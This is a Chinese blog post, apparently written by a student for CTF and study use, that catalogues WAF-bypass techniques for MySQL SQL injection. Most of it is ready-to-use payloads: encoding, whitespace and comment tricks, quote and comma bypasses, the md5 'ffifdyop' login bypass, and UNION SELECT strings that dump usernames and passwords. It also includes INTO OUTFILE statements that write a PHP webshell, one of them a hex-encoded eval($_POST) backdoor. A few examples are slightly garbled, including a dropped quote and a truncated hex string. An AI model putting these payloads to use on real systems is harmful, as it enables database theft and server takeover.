Ethan's Blog

SQL注入回顾篇(3)

字数统计: 1.8k阅读时长: 7 min
2019/03/01 Share

前言

忆往昔,峥嵘岁月稠!大学已经到了大三了,打了很多比赛,回顾还是挺欣慰!此系列来由是想留一点东西,把所学知识整理一下,同时也是受github上Micro8分享的启发,故想做一些工作,以留后人参考,历时两个星期,第一系列SQL注入回顾篇出炉!内容分四节发布,其中SQL注入代码审计为两节,WAF绕过总结为1节,SQLMAP使用总结为1节!此为SQL注入代码审计第二部分。欢迎各位斧正,交流!

@[toc]

简介

SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

Sql注入的产生需要满足以下两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  2. 参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。

当传入的参数ID为1’时,数据库执行的代码如下所示。

1
Select * from users where id=1

这个语句不符合数据库语法规范,所以会报错。当传入的参数为and 1=1时,执行的sql语句如下所示

1
Select * from users where id=1 and 1=1

因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时,此时sql语句恒为假,所以服务器会返回与id=1不同的结果

在实际环境中,sql注入会导致数据库的数据泄露,在安全配置不当的情况下还可能会被攻击者拿到系统权限,进行文件的读写操作等。

普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

Mysql注入相关知识点

  1. 在Mysql 5.0版本之后,Mysql默认在数据库中存放一个”information_shcema”的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA,TABLESCOLUMNS。分存储该用户创建的所有数据库的库名,库名和表名,库名和表名,字段名。

  2. Limit的用法:使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。

  3. 需要记住的几个函数

    • database():当前网站使用的数据库。
    • version():当前MYSQL的版本。
    • user():当前MySQL的用户。
  4. 注释符

    在MYSQL中,常见的注释符的表达式为:#--空格/**/

    ,//,-- , --+,,%00,--a

  5. 内联注释

    内联注释的形式:/!code /。内联注释可以用于整个SQL语句中用来执行我们的SQL语句,

    举个栗子:

    1
    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
  6. MYSQL对大小写不敏感,所以存在大小绕过。


Waf Bybass 总结

大小写绕过注入

当关键词被过滤的时候可以使用关键字大小写绕过,如And 1=1(任意字母大小写都可以,如aNd 1=1,AND 1=1等)


双写绕过注入

栗子:

1
and -> anandd, or -> oorr


编码绕过注入

栗子:and进行两次url全编码的结果%25%36%31%25%36%65%25%36%34
编码网址: http://www.jsons.cn/urlcode/
在这里插入图片描述
栗子2:

1
union select null,null,null from null

一次url编码的结果为
在这里插入图片描述

  • ASCII 编码绕过
    1
    select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

char函数内的内容为<?php phpinfo()?>char()函数是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

  • 16进制编码绕过
    可以使用hex绕过htmlspecialchars()函数从而写入webshell。
    栗子:
    1
    select c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

空格过滤绕过

+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d,(tap键上面的按钮),tap
栗子1:

1
2
3
4
5
6
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

栗子2:

1
?id=1/*comment*/and/**/1=1/**/--

栗子3:

1
?id=(1)and(1)=(1)--


内联注释绕过

栗子:

1
id=1 /*!and*/ 1=1


绕过and、or等过滤
&&,||,%26%26,大小写,双写关键字(anandd,andand),编码

栗子:

1
2
3
4
5
6
7
8
9
AND   -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >,RLIKE
> X -> not between 0 and X
WHERE -> HAVING
XOR ->| #
NOT -> !
id=2 -> id > 1 and id < 3
ID=1 ->!(ID <> 1)


逗号过滤绕过
1
2
3
4
LIMIT 0,1  -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
SUBSTR('KAIBRO',1,1) => SUBSTR('KAIBRO' FROM 1 FOR 1)

过滤大于小于号绕过
  • greatest(n1,n2,n3…)返回n中的最大值 !
  • least(n1,n2,n3…):返回n中的最小值
  • strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
    在这里插入图片描述
  • in关键字
    在这里插入图片描述
  • between a and b:范围在a-b之间
    在这里插入图片描述

    引号绕过
  • 16进制编码

1
select column_name  from information_schema.tables where table_name=0x7573657273;
  • 宽字节
    web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节
    1
    2
    %bf%27 %df%27 %aa%27
    %df\’ = %df%5c%27=縗’

过滤函数绕过
1
2
3
4
5
6
sleep() -->benchmark()
ascii()–>hex()、bin()
group_concat()–>concat_ws()
substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
user() --> @@user、datadir–>@@datadir
ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

MD5注入绕过
1
$sql = "SELECT * FROM admin WHERE pass ='".md5($password,true)."'";

md5($password,true)将MD5值转化为了十六进制
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,
那整个sql变成

1
`SELECT * FROM admin WHERE pass = ''or'xxx'

md5("ffifdyop", true) = 'or'6�]��!r,��b,提供一个字符串
在这里插入图片描述
ffifdyop, md5后,276f722736c95d99e921722cf9ed621c
构造:?password=ffifdyop


With rollup绕过
1
'group by pwd with rollup limit 1 offset 1#

参考博客: https://blog.csdn.net/JBlock/article/details/83311753


sql闭合绕过

当代码中id 参数进行了 “” 和 () 包装。所以我们再用这样的代码来进行注入,或者是‘’包裹。

1
2
3
$sql="SELECT*FROMusersWHEREid=(“$id”)LIMIT0,1"

$sql="SELECT*FROMusersWHEREid=('$id')LIMIT0,1";

1
2
?id=1”)--+
id=1′)--+

测试

1
2
3
4
“)or1”=(“1
“)or1=1--+
')or'1'=('1'
)or1=1--+

1
2
id=-1") union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+
id=-1') union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+

结语

本次分享是SQL注入的一些WAF绕过姿势,当然姿势之下,各种骚姿势都有,单凭一篇文章,很难总结完全,实际上也不可能,只能把本人收集的姿势罗列出来,供大家参考,交流!如对本系列其它文章感兴趣,请移步->
传送门:
SQL注入回顾篇(一)
SQL注入回顾篇(二)

CATALOG
  1. 1. 前言
  • @[toc]
    1. 1. 简介
    2. 2. Mysql注入相关知识点
    3. 3. Waf Bybass 总结
      1. 3.1. 大小写绕过注入
      2. 3.2. 双写绕过注入
      3. 3.3. 编码绕过注入
      4. 3.4. 空格过滤绕过
      5. 3.5. 内联注释绕过
      6. 3.6. 绕过and、or等过滤
      7. 3.7. 逗号过滤绕过
      8. 3.8. 过滤大于小于号绕过
      9. 3.9. 引号绕过
      10. 3.10. 过滤函数绕过
      11. 3.11. MD5注入绕过
      12. 3.12. With rollup绕过
      13. 3.13. sql闭合绕过
    4. 4. 结语